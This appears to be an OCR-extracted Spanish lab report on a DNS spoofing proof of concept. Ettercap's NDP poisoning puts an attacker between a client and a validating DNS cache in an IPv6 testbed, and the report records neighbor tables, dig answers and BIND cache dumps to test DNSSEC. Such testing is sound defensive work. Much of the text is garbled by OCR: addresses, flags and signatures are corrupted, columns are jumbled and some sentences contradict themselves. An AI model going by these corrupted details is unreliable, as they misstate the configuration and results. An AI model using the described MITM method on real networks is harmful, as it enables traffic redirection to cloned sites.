Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x
IP Address MAC Address Description
2001:12:7000::cafe:1 08:00:27:27:DB:30

2001:12:7000::cafe;5 08:00:27:FL:2C:A5

2001:12:7000::cafe:25 08:00:27:FB:19:D0
2001:500:2f::f:bebe:2 00:00:00:00:00:00
2001:503:3f:beca:1 00:00:00:00:00:00

Delete Host H Add to Target 1 H Add to Target 2
JHCP: [E8:9A:8F:6F:B9:13] DISCOVER
JHCP: [E8:9A:8F:6F:B9:13] DISCOVER
dost 2001:12:7000::cafe: 25 added to TARGET1
dost 2001:12:7000::cafe:5 added to TARGET2

Después de seleccionado los objetivos, se realiza envenenamiento NDP para

llevar a cabo ataque de hombre en el medio entre el cliente validador y el
servidores DNS cache.

Start Targets Hosts View Mitm Filters Logging Plugins Info
Host List = | Targets x

Target 1 Target 2
2001: 127000 cafe: 25 2001: 127000 cafe:5

Delete Add Delete Add

W R R (T W
pr— w— —

GROUP 1 : 2001:12:7000::cafe:25 08:00:27:FB:19:00

GROUP 2 : 2001:12:7000::cafe:5 08:00:27:F1: 2C:A5

Efecto del hombre en el medio desde Cliente
Después de empezar la ejecucion del ataque se observa que esta relacién se ve

afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC del servidor DNS cache ha sido modificada por la del atacante.
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root@Cliente-validador:~# ip -6 neigh
2001:12: t:cafe: dev enpbs addr 08:00:2/:48:09:19 STALE

2001: : :cafe:5 dev enp0s3 lladdr 08:00:27:48:09:19 router REACHABLE
2001:12:7000: :cafe:2 dev enpls3 FAILED

2001:12:7000: :cafe:1 dev enpBs3 1laddr 08:00:27:27:db:30 router STALE
fe80::a00:27f7:Ted8:919 dev enp@®s3 lladdr 08:00:27:48:09:19 REACHABLE
TeB0::a00:27ff:Te27:db30 dev enp@s3 1laddr 08:00:27:27:db:30 router STALE
TeB0::a00:27ff:fefl:2cad dev enp@s3 1laddr 08:00:27:f1:2c:a5 STALE

A continuacion desde la consola del cliente validador, se realizan una serie de
consultas relacionadas al dominio comunicate.com para analizar las respuestas
obtenidas.

Consulta a dominio real

El cliente consulta al dominio www.comunicate.com exigiendo validacion
DNSSEC, obteniendo como respuesta el registro AAAA 2001:12:7000::cafe:37,
respuesta no validada (ausencia del bit ad de validacién en el campo flags), con
un status: NOERROR

root@Cliente-validador:~# dig AAAA www.comunicat¢.com +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA www.comunicate.com +dnssec +multiline
;: global options: +cmd

;; Got answer:

;i ->>HEADER<<- opcode: QUpR¥——stetws—ROERRJR, id: 366
;; flags: qr rd ra; QUERY:|1, ANSWER: 1, AUTRORITY: 2, ADDITIONAL:

;+ OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096

;; QUESTION SECTION:
;www. comunicate.com. IN AAAA

;; ANSWER SECTION:
www.comunicate.com. 36p0 IN AAAA 2001:12:7000::cafe:37

;3 AUTHORITY SECTION:

603543 IN NS f.root-servers.net.

663543 IN RRSIG NS 8 0 604800 (
20186918123957 20180819123957 36276 .
WOlds+3muKXufBfRYd09T92PH+GQERwc111k0QVp1NX4
jXgMA9fKviqSb+PD1Tke6LOZErkSvnu+BaQZE1VNHXMI
qFzuu)gNWOrCeQo/it5/h1JDYZb]/590N8pB8HAi1P3V
g9TqqNN1UdKKLIVIWQ2eNteSGMBYV+11yNI3QImUtVmy
m5RyowP5QgB1rnBE8dXRuwMz2Qqgt jcavEuSFxn6tEHIU
yX2+8XXONMhdEGBYO/29AD3wX4vKd101Wrkcg8060epH
t91ZzAMUK2wUGFOtxwiFCI47HIYYOt2+CEVS0Y/dRGO7
LoEVA/180fRxDVODRqtLOYPgUsGPp268dg== )

;+ Query time: 19 msec

;+ SERVER: 2001:12:7000::cafe:25#53(2001:12:76000::cafe:25)
;7 WHEN: Sun Aug 19 20:58:22 -05 2018

; MSG SIZE rcvd: 392

Consulta a dominio inexistente

El cliente consulta al dominio coomunicate.com exigiendo validacion DNSSEC,
obteniendo como respuesta el registro AAAA 2001:12:7000::cafe:37, respuesta no
validada (ausencia del bit ad de validaciébn en el campo flags), con un status:
NOERROR
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root@Cliente-validador:~# dig AAAA coomunicate.comn +dnssec +multiline

; <<>> DiG 9.10.3-P4-Debian <<>> AAAA coomunicate.com +dnssec +multiline

;5 global options: +cmd
;3 Got answer:
;+ ->>HEADER<<- opcode: (QUER —NOERROR, id: sm
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AJTHORITY: 2, .

+3 OPT PSEUDOSECTION:

; EDNS: version: 0, flags: do; udp: 4096
;; QUESTION SECTION:
;coomunicate.com. IN AAAA

;; ANSWER SECTION:
coomunicate.com. 3600 IN AAAA 2601:12:7000::cafe:37

;3 AUTHORITY SECTION:

603522 IN NS f.root-servers.net.

663522 IN RRSIG NS 8 0 604800 (
20180918123957 20180819123957 36276 .
WOlds+3muKXufBfRYd09T92PH+GQERwc111kOQVpINX4
jXgMA9fKviq5b+PD1Tke6LOZE rkSvnu+BaQZE1VNHXMI
qFzuuJgNWOrCeQo/it5/h1JDYZb]/59DN8pB8Hdi1P3V
g9TqqNNIUdKKLIVIWQ2eNte5GM8yV+11yN93QImUtVmy
mSRyowP5QgB1rnBE8dXRuwMz2Qqgt j cavEuSFxn6tEHIU
yX2+8XXONMhdE6BYO/2gAD3wX4vKdi01Wrkcg8600epH
t91ZzAMUK2wUGFOt xwiFCI47HIYYOt2+cEV50Y/dRGO7
LoEVA/180fRxDVODRqtLOYPgUsGPp268dg==

;; Query time: 9 msec

;3 SERVER: 2001:12:7000::cafe:25#53(2001:12:7000::cafe:25)
;3 WHEN: Sun Aug 19 20:58:43 -05 2018

++ MSG SIZE rcvd: 389

Memoria Cache Para Revisar Envenemietno del cliente

Se revisa la memoria cache del cliente validador, para observar los datos
almacenados en esta ante las consultas realizadas, utilizando el comando grep
para determinar si se ha almacenado informacion relacionada a la consulta

realizada, para determinar si hay envenenamiento de cache.
root@Cliente-validador:/var/cache/bind# cat named dump.db | grep comunicate.com

www.comunicate.com. 3135 AAAA 2001:12:7000: :cafe:37
root@Cliente-validador:/var/cache/bind# cat named dump.db | grep coomunicate.com
coomunicate.com. 3156 AAAA 2001:12:7000: :cafe:37

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio com

El dominio com no se encuentra firmado, por lo cual el cliente almacena la
informacion que le proveea el servidor autoritario del dominio raiz sobre el
dominio com que en este caso son los registros NSEC3 que tiene el servidor raiz
sobre el com.

5 Secure

com. 10048 \-D3 ;-SNXRRSET
; - 80R f.root-servers.net. admin. 2 604300 864000 2419200 &04800
; - RESIG S0OR ...

; ROTTCOSPTJIGORAGEGTNHCUDTUCZ4ES1CS. RRSIG NSEC3 ...

; ROTTCOSPTJIGORGEGTNHCUDTUCZ4ES1CS. NSEC3 1 1 20 200105002FF2BEBE
CPCULTPMPFSIUVISINFSJ43D082HUUGM RARE RRSIG

; U94DIZE2VGESET9V3iDS49DUBAJUTISMT. RRSIG NSEC3 ...

; U4DIZEZVGESET9V3iDS49DUBAJUTISMT. NSEC3 1 1 20 200105002FF2EEEE
GlEVFST7EeVQESHOVELVAIIRIESUSIPRTC N3 SCOL ARMAS RBR3IGC DNSEEY
NSEC3PLRLM
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Dominios www.comunicate.com y dominio coomunicate.com

Se observar que en la memoria cache del cliente, se ha almacenado para el
dominio www.comunicate.com y el dominio coomunicate.com el registro
2001:12:7000:cafe:37, con un nivel de confianza answer debido que recibe la
informacion de un servidor no autoritario del dominio y una respuesta que no
puede ser validad.

; answer
WWW.comunicate.com. 31353 AnnR 2001:12:7000::cafe:37
; answer
coomunicate.com.-315fF AnAn 2001:12:7000::cafe:37

Servidor Cache

Efecto de hombre en el medio en el Cache

Después de empezar la ejecucion del ataque se observa que esta relacion se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccion
MAC del cliente ha sido modificada por la del atacante.

root@validador:~# ip -6 neigh
Uul:lZ: /Uue: tcate:s/ dev enpbss Lladdr Be:uW: 2/ 46:089: 1Y STALE

Ted0: :a00:277T:Ted8:919 dev enpbs3 1laddr 08:00:27:48:09:19 REACHABLE
2001:12:7000: :cafe:1 dev enp0s3 1lladdr 08:00:27:27:db:30 router STALE
Ted0::a00:277f:fefb:19d0 dev enpBs3 1laddr 08:00:27:Tb:19:d0 STALE

fedo: aOO 271T: fe2? db30 dev enp0s3 lladdr 98 00 2? 2? db:30 router STALE
' : : (00:2/:48:09:19 router REA

Una vez realizadas las segundas consultas, desde el cache se puede observar
diferentes puntos de vista (estado, memoria cache y syslog ) para observar la
informacion generada en el cache por las consultas realizadas y los resultados
obtenidos.

MEMORIA CACHE

De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta después de realizar una segunda consulta, para observar si hay
modificacion de los datos almacenados por las consultas realizadas, utilizando el
comando grep para determinar si se ha almacenado informacién relacionada a las
consultas hechas.

En un principio se utiliza el comando grep para determinar si en la memoria cache
se ha almacenado informacion relacionada con las consultas realizadas

101


http://www.comunicate.com/
http://www.comunicate.com/

lroot@validador: /var/cache/bind# rndc dumpdb -cache
root@validador:/var/cache/bind# rndc dumpdb -cache
root@validador:/var/cache/bind# cat named dump.db | grep comunicate.com
\root@validador:/var/cache/bind# cat named_dump.db | grep coomunicate.com

Utilizando el comando grep sobre el archivo de memoria cache del servidor DNS
cache named_dump.db, se ha observado que no se ha almacenado informacion
relacionada las consultas realizadas. De igual forma se revisa de manera mas
detallada la informacién que se puedo haber almacenado en el cache en el tiempo
de consulta. Para determianar si hay envenenameinto .

Memoria cache principal Para revisar envenenamiento

En las imagenes de abajo se puede observar los diferentes registro de recursos

almacenados de los dominios relacionados a la consultas.

Dominio com

Del dominio con solo almacena la informacino entregdara por el servidor
autoritario del dominio raiz sobre el dominio com. En articular registros NSEC3 del
subdominio com. Ademas de indicar que en el servidor raiz no hay registros DS
del subdominio com.

7 glue
com. 6032415 NS a.gtld-servers.net.com.
; =ecure

5415 \-DE& ;-S$NXRRSET
; . 80R f.root-servers.net. admin. 2 604800 864000 2415200 &04800
7 - RRSIG SCA ...
; RAOTTOOSPTJIG6ORGEGTNHOUDTUOZ4ES1CS5. RRSIG NSEC3 ...
; ROTTOOSPTJIGORGEGTNHOUDTUOZ4ER1CS. NSEC3 1 1 20 200105002FFZBEEBE
OPCUITEPMPFSIUVISINFSJ43D0B2HUUGM RAARA RRSIG
;7 US4DIZEZ2VGBSET7SV3IDS45DUBAJUTISMT. RRSIG NSEC3 ...
; US4DIZE2VGBSKET9V3IDS45DUBAJUTISMT. NSEC3 1 1 20 200105002FF2EEEE
61EVFS76VQBSHOVEIVAJIRIGSUSIPRTC NS SCA ARRR RRSIG DNSEEY
NSEC3PRARAM

No se presenta envenenamiento en la memoria cache del servidor DNS cache.

PoC de DNS Spoofing entre el Cliente y el Servidor Cache Validador cuando
el Cliente consulta por el nombre de dominio www.comunicate.com

1. Descripcion de la prueba
La prueba de concepto de DNS Spoofing se realiz6 en el escenario real de

pruebas controlado con toda la cadena de confianza de la red externa e
interna firmadas con DNSSEC, mediante un ataque de HOMBRE EN EL
MEDIO con NDP spoofing entre el Cliente y el Servidor Cache Validador.
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En este caso, se quiere suplantar la respuesta del Servidor DNS Autoritario

del dominio www.comunicate.com por la direccion IPv6 del atacante Kali,

con el proposito de dirigir al usuario o usuarios al sitio web legitimo, las
victimas seran direccionadas al sitio web falso clonado por el atacante,

cuando realicen una consulta al dominio www.comunicate.com.

Al efectuar la prueba se determinara si el Servidor Cache con soporte de
validacion DNSSEC, es o no es vulnerable al envenenamiento de la
memoria cache, si valida o no valida la autenticidad de la respuesta DNS
sobre quien es el Servidor Autoritario legitimo al que pertenece el dominio

WWwWWw.comunicate.com, y si cuando el cliente realice una consulta a ese sitio

es vulnerable, de esta manera se evaluara si la prueba fue exitosa o no,
teniendo en cuenta que en este escenario los clientes no realizan el
proceso de validacion DNSSEC, solamente lo realiza el Servidor Cache

recursivo de la organizacion.

2. Herramienta: Para la realizacion de la prueba se utilizé Ettercap, v2.8

3. Topologia de Red del Ambiente real de Prueba.

RED INTERNA RED EXTERNA

n
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f.root-servers.net
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Fig. Topologia de Red del Ambiente real de Prueba
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4. Ambiente de la prueba:

La prueba se desarroll6 en un escenario real de pruebas controlado que

cumple con las siguientes caracteristicas:

La cadena de confianza DNSSEC se encuentra rota (dominio com se
encuentra sin firmar.)

El proceso de validacion de las respuestas DNS es efectuado por el
Servidor Cache recursivo de la organizacion, que posee tanto la clave
publica del servidor raiz f.root-servers.net como la del dominio
bancodk.com.

Se realiz6 un ataque de hombre en el medio entre el cliente y el
servidor DNS cache.

Como maquina atacante se utilizo la distribucién Kali-Linux de 64 bits,
configurando la interfaz ethO con acceso a la red interna 2001:12:7000:
CAFE:0/112.

El cliente validador Linux de la red interna CAFE, realiza las mismas
consultas en momentos de tiempo diferentes para determinar si siempre
se obtiene la misma informacion o respuesta cuando éste solicita una
consulta a www.comunicate.com.

El escenario real de pruebas se implementd con la distribucién Linux
Debian 9.4

5. Caracteristicas de los equipos involucrados en la prueba:

S.O EQUIPO FUNCION DIRECCION IPv6 DIRECCION MAC INTERFACES
DEBIAN | Servidor cache recursivo - TARGET 2001:12:7000:cafe:5 | 08:00:27:F1:3C:AS enp0s3
Validador
DEBIAN Cliente DNS Linux TARGET 2001:12:7000::cafe:28 08:00:27:6A:D6:57 enp0s3
KAL
GNU/LINUX KALI Atacante 2001:12:7000::cafe:37 08:00:27:48:09:19 eth0

2018

Tabla N°. Caracteristicas de los equipos.
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6. Resultados obtenidos de la Prueba:

DOMINIO

ESTADO MITM VALIDADORES

\WWw.comunicate.com

F

coomunicate.com

NF

Tabla N°. Resultados obtenidos.

SUPLANTACION (ENVENENAMIENTO DE | VALIDACION | VALIDACION
DE DOMINIO CACHE CACHE CLIENTE

POC
EXITOSA

Con la PoC realizada se obtiene que la prueba es exitosa cuando se consulta por

el dominio www.comunicate.com y por la variacion del mismo coomunicate.com
dominio inexistente cuando la cadena esta rota, a pesar de que el cliente realizase
el proceso de validacion, debido a la cadena rota, acepta la respuesta del

atacante.

7. Evidencia de la PoC

Ejecuicion de la PoC desde Kali

Para realizar la prueba se comienza con la seleccion de los objetivos que se veran
involucrados en la prueba, el servidor cache DNS vy el cliente, como se muestra
en la imagen de abajo

Después de seleccionado los objetivos, se realiza envenenamiento NDP para
llevar a cabo ataque de hombre en el medio entre el cliente y el servidore DNS

cache.

ETLETLAP W.0.L L]
Start Targets Hosts View Mitm Filters Logging Plugins Info
Mot List =
IP Address MAC Address Description
2001:12-T000::cafe:1 08:00:27-27-D8:30
2001:12:7000: cafe:5 0800 27:-F1:2C:A5
J001.12- 7000 cafe 08 LR.O0 ST B A D80T
2001:500: 2. F:bebe:2 00000000 00;00
2001:503:3F:beca:2 100 00 00:00: 00 00
Delete Host Add to Target 1 Add to Target 2

Haost 2000 12:7000;:cafe: 28 added to TARGET1
Host 2001:12: 700 cafe:5 added to TARGET2
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Start Targets Hosts View Mitm Filters Logging Plugins Info

Host List x |[Targets x |
Target 1 Target 2
2001:12:7000::cafe: 28 2001:12:7000::cafe:5

| Delete I Add Il Delete I Add

Host 2001:12:7000::cafe:5 added to TARGET2 g

NDP poisoning victims:

GROUP 1: 2001:12:7000::cafe: 28 08:00:27:6A:D6:57)

GROUP 2 : 2001:12:7000::cafe:5 08:00:27:F1:2C:A5 I

Efecto de hombre en el medio desde Cache

Después de empezar la ejecucién del ataque se observa que esta relacién se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccion
MAC del cliente ha sido modificada por la del atacante.

roo1@validador ~# ip -6 neigh

200 12 ?000 fe:37 dev enp@s3 1laddr 08: 00 2? 48 09 19 STALE

a0 200 27T Tete at5T dov enp0s3 Lladdr'ea'ee'z?'sa'dﬁ 57 STALE
Te80::a00:271f:fe27:db30 dev enpOs3 1laddr 08:00:27:27:db:30 router STALE
2001:12:7000: :cafe:1 dev enp@s3 1laddr 08:00:27:27:db:30 router STALE

Efecto de hombre en el medio desde Cliente

Después de empezar la ejecuciéon del ataque se observa que esta relacién se ve
afectada por MITM, como se muestra en la imagen de abajo, donde la direccién
MAC del servidor DNS cache ha sido modificada por la del atacante.

root@CLIENTE::~# ip -6 neiagh

2001:12:7000: :cafe:5 dev eth® 1laddr 08:00:27:48:09:19 router REACHABLE
2@@1:12:?@@@::cafe:3? dgv aethl® Tladdr 08:88:2?:45:89:19 STALE

feB80::a00:27ff:fefl:2cab dev eth0® 1laddr 08:00:27:f1:2c:a5 STALE
feBE::a00:27ff:fedB:5159 dev eth( 1lladdr 08:00:27:48:09:19 REACHABLE

A continuacion desde la consola del cliente validador, se realizan una serie de
consultas para analizar las respuestas obtenidas.

Consultas
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Consulta a dominio real

El cliente consulta al dominio www.comunicate.com exigiendo validacion
DNSSEC, obteniendo como respuesta el registro AAAA 2001:12:7000::cafe:37,
respuesta no validada (ausencia del bit ad de validacion en el campo flags).

root@CLIENTE: ~# dig AAAA www.comunicate.com +dnssec +multiline

; ==== DiG 9.9.5-9+4debBulb-Debian <<==> AAAA www.comunicate.com +dnssec +multiline
;; global options: +cmd

;; Got answer:

;; -==HEADER=<- opcode: QUERY, status: NOERROR, id: 20723

;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: @, ADDITIONAL: @

;; QUESTION SECTION:
Jwww.comunicate.com. IN ARAA

;; ANSWER SECTION:
www.comunicate.com. 3600 IN AAAA 2001:12:7000::cafe:37

;3 Query time: 7 msec

;3 SERVER: 2001:12:7000::cafe:5#53(2001:12:7000: :cafe:b)
;3 WHEN: Sun Aug 19 12:06:48 -05 2018

;i MSG SIZE  rocvd: 64

No. Time Source Destination Protocol Length Info

578 62.251645 2001:12:7000: : cafe:28 2001:12:7000::cafe:5  DNS 109 Standard query 0x50f3 AAAA www.comunicate.com

579 62.2558432001:12:7000: : cafe:5  2001:12:7000::cafe:28 DNS 126 Standard aquery response 0x50f3 AAAA 2001:12:7000::cafe:37

Ne. Time Source Destination Protocol Length Info

579 £2.2558432001:12:7000: :cafe:5 2001:12:7000::cafe:28 DNS 126 Standard query response Ox50f3 AAAA 2001:12:7000::cafe:37

< m

Frame 579: 126 bytes on wire (1008 bits), 126 bytes captured (1008 bits) on interface 0
Ethernet IT, Src: CadmusCo_48:09:19 (08:00:27:48:09:19), Dst: CadmusCo_6a:d6:57 (08:00:27:6a:d6:57)
Internet Protocol Version 6, Src: 2001:12:7000::cafe:5 (2001:12:7000::cafe:5), Dst: 2001:12:7000::cafe:28 (2001:12:7000::cafe:28)
User Datagram Protocol, Src Port: 53 (53), Dst Port: 40814 (40814)
= Domain Name System (response)
Request In: 578
[Time: 0.004198256 seconds]
Transaction ID: 0x50f3
Flags: 0x8400 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 0
Additional RRs: 0
B Queries
i www. comunicate.com: type AAAA, class IN
= Answers
i www.comunicate.com: type AAAA, class IN, addr 2001:12:7000::cafe:37

Consulta a dominio inexistente

El cliente consulta al dominio coomunicate.com exigiendo validacion DNSSEC,
obteniendo como respuesta el registro AAAA 2001:12:7000::cafe:37, respuesta no
validada (ausencia del bit ad de validacion en el campo flags).
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root@CLIENTE:~# dig AAAA coomunicate.com +dnssec +multiline

; ===>> DiG 9.9.5-9+debBulb-Debian <<=> AAAA coomunicate.com +dnssec +multiline
;3 global options: +cmd

5 Got answer:

;5 -=>HEADER<=<- opcode: QUERY, status: NOERROR, id: 24369

;5 flags: gr aa; QUERY: 1, ANSWER: 1, AUTHORITY: ©, ADDITIONAL: @

5 QUESTION SECTION:
;coomunicate.com. IN ARAA

;5 ANSWER SECTIOM:
coomunicate.com. 3600 IN AAAA 2001:12:7000::cafe:37

;5 Query time: 6 msec

;; SERVER: 2001:12:7000::cafe:5#53(2001:12:7000; cafe:b)
;3 WHEN: Sun Aug 19 12:37:47 -05 2018

;3 MSG SIZE  rcvd: 61

No. Time Source Destination Protocol Length Info
236 24.414668 2001:12:7000: : cafe:28 2001:12:7000::cafe:5 DNS 106 Standard query 0x5f31 AAAA coomunicate.com
237 24.4197102001:12:7000: :cafe:5 2001:12:7000::cafe:28 DNS 123 standard query response 0x5f31 AAAA 2001:12:7000::cafe:37

Vista desde Cache

Una vez se ha analizado el proceso de consulta desde el cliente se determinara la
informacion generada en el servidor DNS cache validador producida por las
consultas realizadas.

Desde el cache se puede observar desde diferentes perspectivas (estado,
memoria cache y syslog ) las consultas realizadas y los resultados obtenidos.

Memoria cache principal Para revisar envenenamiento

De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta después de realizar una segunda consulta, para observar si hay
modificacion de los datos almacenados por las consultas realizadas, utilizando el
comando grep para determinar si se ha almacenado informacién relacionada a las
consultas hechas.

En un principio se utiliza el comando grep para determinar si en la memoria cache
se ha almacenado informacién relacionada con las consultas realizadas

|[root@validador: /var/cache/bind# cat named dump.db | grep 2001:12:7080::cafe:37
iroot@validador:/var/cache/bind# W

|root@validador:/var/cache/bind# cat named_dump.db | grep comunicate.com
comunicate.com. 603342 NS dnsl.comunicate.com.
20180915183922 20180816183922 1510 comunicate.com.
20186915183922 20180816183922 4644 comunicate.com.
dnsl.comunicate.com. 603342 AAAA 2800:370:4005:403: :baca:2
www . comunicate. com. 9342 \-A ; -SNXRRSET
; comunicate.com. SOA dnsl.comunicate.com. admin.comunicate.com. 2 604800 864000 2419200 604800
|’ comunicate.com. RRSIG SOA ...
; IRN9INC7NP4ROPR20MDVGFLNFMBBOPOR. comunicate.com. RRSIG NSEC3 ...
; IRN9INC7NP4ROPR20MDVGFLNFMBBOPOR. comunicate.com. NSEC3 1 1 20 28003F024005BACA LDDO1BTOPOA2IGVTESOM7EITIPR1JAKF AAAA
RRSIG
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Una vez se ha determinado que en la memoria cache se ha almacenada
informacion relacionada a las consultas, se realiza un recorrido general sobre los
datos almacenados en la memoria, para identificar los datos almacenados debido
a las consultas realizadas.

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

Dominio com

El servidor DNS cache almacena sobre el dominio com lo que le entregua el
servidor autoritario del domino raiz y debido a que este esta firmado, almacena
dicha informacion con nivel de confianza secure.

; glue
Com. 603342 NS a.gtld-=servers.net.com.
; secure

9342 \-DS ;-SNXRRSET
; .- SO f.root—-servers.net. admin. 2 6048300 364000 2413200
604800
; - RRSIG SC& ...
; AOTTOOSPTJIeOAGEGTNHOUDTUO24ER1CS. RRSIG NSEC3 ...
; ROTTCCSPTJIEORGEGTNHCOUDTUCZ4EB1CS. NSEC3 1 1 20
200105002FFZ2BEEE CPCUITEMPFSIUVISINFSJI43D082HUUEM RARE RRESIG
; US4DIZEZ2VGESET7S9V3IDS4°9DUBAJUTISMT. RRSIG NSEC3 ...
; US4DIZE2ZVGESE79V3IDS4SDUBAJUTISMT. NSEC3 1 1 20
200105002FF2BEBE 6lEVFS76VQESHOVELVAJIRIGSUSIPRTC NS SOR RARD
RRSIG DNSEEY MNSEC3PAREM

Dominio comunicate.com

El dominio comunicate.com se encuentra firmado, pero el domino com no lo esta,
el servidor DNS cache almacena con un nivel de confianza de answer los registros
DNSSEC del dominio. Ademéas como el dominio com esta sin firmar, este no tiene
el registro DS del dominio de comunicate.com por lo cual no existe el registro DS
para comunicate.com.

; glue

. . 603342 DNSEEY 257 3 8 (
comunicate.com. 603342 NS dnsl.comunicate.com. - e L £ Fox] £ GG
; answer RZDwbLOMNMEWWBDRE s UQHDChUG/ H4BENLDLN
9342 \-DS ;-$NXRRSET o/ i0FLz7D5LVXIBTRQFTt 2mbhXxJQF18mN/ 0
; com. SCA a.gtld-servers.net. admin.com. 2 604800 864000 atYBcUuB/MGqTS;gAQSGDﬁ coj EGEHW?H z
KrYOOkJh+psTurx/Nah£0+aS11GEKHLS/njF
% 419200 604800 w0o3FLq29XEEbophbhTwS 1erVUwac7GiMasl
P answer SntKCY]dzZcyGESVIFWRBZSGXCPSLCBLAUIL
603342 DNSEEY 256 3 8 ( DxIu4HrSNJZSXrGESs)1vibmémsRTCws 3/ 5/
AWERRZLEYtMtEpAbTvY/216twé1VwawkX9LIY 23D+ dHESDuwd / KWFCE £5n0x/ BxQQTSi LLiR
5J536Y0CtgHWiFv]0yyrNjExVEvWROKS+1R4 ALw7k¥00J0+qmdatBNRJpkEylalTF7OgpAzm
byhg3GPO/mtaX12LklBol/CSdbT TNZOXbOhC i"'ﬁﬂi"e’ﬁz/ Fa? "LJAQ;'}EICRLCM”““EE
ZhLy03m70xIm0YiaSdm/d/Lt010F7d9Y18TR XkmHSWHNzr TgMhY 33B0m3 APa62kUx+CZTDEY
pJIS51VwUU/ Znh/ vX0IsIDEfbE6RTgRGIx/11Grp 5tgVWii9GUCOXRVaMSGLww3GUoU20TmhI1ah
w4dHQZR+gXEegVHAPXFZdkF+BW4BRuXk+oQ+ eyHtE]2n1GZ£211K32towLi0TEE3EdOALLSE
wdj 1QBDYRvy+fMaognyRkA354c0ZEACPFDS Jjarl3rézLact 53;1 in'fj‘”“m‘iﬁ CLYSFJ M:L
©PJUDLIEgwZOyVbehz17UBNv1aXEi 3a3PThO
UsEVAT14NLtSHloyqy? EXWIJ P zBMUZ7 ],LZPXU gi9T1tFzHXSWHHC3W7buWnMBTAWSpXyrBD+e 3
aw8WgPSTaN4e8uMNN28xeiXeiNdsObC] SNSV SRD7IHAHFHF2LeXbE+ OF 6 1TROR2Dgz 1 ExDRx
XxYcsSmPSEDSH1AbNLETGELTR= Cw3L
) ; 2SK; alg = RSASHA256; key id = ) ; KSK; alg = RSASHA2S56; key id =
4644 1510
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; answer
603342 RRSIGDNSEEY & 2 &04800 (

20180915183922 201808161683922 1510

comunicate.com.
MCOjUfy¥Op5byTvigeRgE8wacdé+tdBS31kh
SPREBELVA/jggémhzldgAmQSp4LXvBRIWLOE
eR/e0Z90JRESsTIMuF3hasY1ln0tiTz9gyzTc
x9sulh6e0TxN4Tx49PPQo4ke8SEgELEVTED
SZcRcG3uZSE+BixESL+RNE+]Hsd8nAThOUS3
9s8cMsI8pTtteYkaT1EGMzUxPpIrbtYOZEET
KEeblMHG42ZyLi5] 2g2u+tdt] 4oXnKiyGFCx2E
z63Feh/3zBOyuy2dsCgWbVVBzglénIciad/p
sBdGCe/f78TuFwumsjb5SMReAkySxnyBXY1Qc comunicate.com.

tLATIDETXSUD0352773L7RTvIOnrgXQTida+ ND4W/ r6t+vEI3HE+3nke] FBRYRLoGwHdSyzhS
BAPCYWWDg9PoRS4MUECSDG3TeQIoMNNGORLE .
1Mo 1036 sFOERSrNIFOP2TFyRqM I Kb SxZHELT WTZl3J’YE‘YAqP0hzrk+Hk4blOthP4LQV/BJ.D
I0/wBjv0YVeshIAV+CD2n/06bW0934NgE8/X NEWXiztOVY2CpEXHRkB0vLOhAeIRs8grXytL
AjLUcBKREYnxDxJqFSALxhiES TERbOudmQt ugyéoNIanizyQsIv]¥WbAHFZYe6nNX2XqLIc
OR7utCYJzg7Spémciinac/ frilAsqQzaivl £+ uzPg4Y¥JIS2nvaUSNpQyElCyto0gEUhub5icVT
©b7RRZgijPcY+0rYxV/DddkEQFZYSEVDGEYE . N
*PTUFZ6DI1Te 90108B+kHZPpg5CcI202BEDED FLMug2/qy0082mI11UjkC6+] IAWHPVSu6NYg
fhMYygTk70zEAIm8CsTpn/ +nDexMOkmARY g4 gTWj£e510XvEZLozOemYWVnE3TEXE/RUD2aL
\ 402Zu34t0yRIIF+g+zMMOhTx55aY TkBIUIWS CcEPHrfRp3VcekfXSbvuNFSRZ3niRy¥zyVEEC
c03342 RRIIGDNSKEY 8 2 604800 ( DHJH3nu+tfTvAAVUv2ZFIfwSmXOJPYAybTeXC
20180915183922 20180816183922 4644 Gh/054d4LEYnSoxyul== )

Dominios dnsl.comunicate.com

Almacena como regidtro AAAA del dominio 2800:3f0:4005:403::baca:2 como dato
de referencia , mientras que para el dominio www.comunicate.com no almacena
registro.

s AR T

dn=sl.comunicate.com. 603342 ALLL EEDD:BED:QDDS:éDB::baca:h

; answer

WWW.Ccomunicate.com. 9342 \-L ;-SNXRRSET

; comunicate.com. SCR dnsl.comunicate.com. admin.comunicate.com.
2 604800 B64000 2415200 &04800

; comunicate.com. RRSIG SOA& ...

; IRNSINCTNP4ROPRZOMDVGFLNFMEB8OPCOR.comunicate.com. RRSIG NSEC3

; IRNSINCTNP4ROPRZCMDVSFLNFMEBCOPCOR.comunicate.com. NSEC3 1 1 20
28003F024005BRACE LDDO1BTOPCAZIGVTESCM7ELTIPR1IJARF RRAL RRSIG

; glue

a.gtld-servers.net.com. 603342 anan 2001:303:3f::beca:Z

El Servidor DNS Cache no presenta envenenameito, debido que por el hombre en
el medio cliente-servidor cache, el servidor cache no participa del proceso de
consulta DNS

Vista desde Cache

Después de realizar una consulta al dominio inexistente se busca ver si se ha
generado informacion relacionada a la consulta en la memoria cache del servidor
DNS cache.

MEMORIA CACHE

De igual forma se observa la memoria cache del servidor DNS cache a quien el
cliente consulta después de realizar una segunda consulta, para observar si hay
modificacion de los datos almacenados por las consultas realizadas, utilizando el
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comando grep para determinar si se ha almacenado informacion relacionada a las
consultas hechas.

En un principio se utiliza el comando grep para determinar si en la memoria cache
se ha almacenado informacién relacionada con las consultas realizadas

root@validador:/var/cache/bind# rndc dumpdb -cache
root@validador:/var/cache/bind# rndc dumpdb -cache
root@validador:/var/cache/bind# cat named dump.db | grep coomunicate.com
root@validador:/var/cache/bind#

root@validador:/var/cache/bind# cat named:dumb.db i grep 2001:12:7000: : cafe:37
root@validador:/var/cache/bind#

Memoria cache principal

En las imagenes de abajo se puede observar los diferentes registro de recursos
almacenados de los dominios relacionados a la consultas.

